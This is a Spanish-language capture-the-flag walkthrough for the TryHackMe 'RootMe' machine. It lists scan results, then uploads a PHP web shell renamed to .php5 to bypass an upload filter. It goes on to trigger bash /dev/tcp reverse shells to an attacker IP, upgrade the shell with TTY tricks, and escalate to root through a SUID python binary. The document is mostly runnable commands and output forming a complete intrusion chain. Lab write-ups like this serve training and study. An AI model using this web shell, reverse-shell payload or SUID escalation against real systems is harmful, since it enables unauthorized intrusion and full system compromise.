RootMe (SUID PYTHON)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Buscaremos diretorios:
gobuster dir -u 10.10.34.175 -w /opt/SecLists/Discovery/Web-Content/common.txt



Ahora intentaremos colar un php pero no nos deja para ello le agregamos un php5 y puede ser otros mas php4 etc...
└─$ cat mira.php5
<?php
system($_REQUEST['cmd']);
?>
Lo subimos y se agrego exitosamente y podemos agregar comandos

Ahora nos daremos una revershell
Cualquiera:
http://10.10.88.85/uploads/mira.php5?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.9.0.60/443+0>%261"
Q 10.10.88.85/uploads/mira.php5?cmd=bash -c "bash -i>%26/dev/tcp/10.18.79.45/443 0>%261"
┌──(docker㉿docker)-[~/Tryhackme]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.9.0.60] from (UNKNOWN) [10.10.34.175] 43918
bash: cannot set terminal process group (925): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rootme:/var/www/html/uploads$ ls
Cuando es www data tenemos que tratar que sea una tty para tener algo mas interactivo
script /dev/null -c bash
ctr + z
stty raw -echo; fg
reset xterm
*ESCALANDO BUSCANDO PERMISOS SUID SE ENCONTRO UN /usr/bin/python
www-data@rootme:/var/www$ find / -perm -4000 2>/dev/null | grep -i -v snap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
www-data@rootme:/var/www$
Con este comando explotanto el SUID python tendriamos root:
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# ls
html user.txt
# script /dev/null -c bash
Script started, file is /dev/null
www-data@rootme:/var/www$
Lo que hace este comando es darnos algo mas interectivo el root: script /dev/null -c bash
Last updated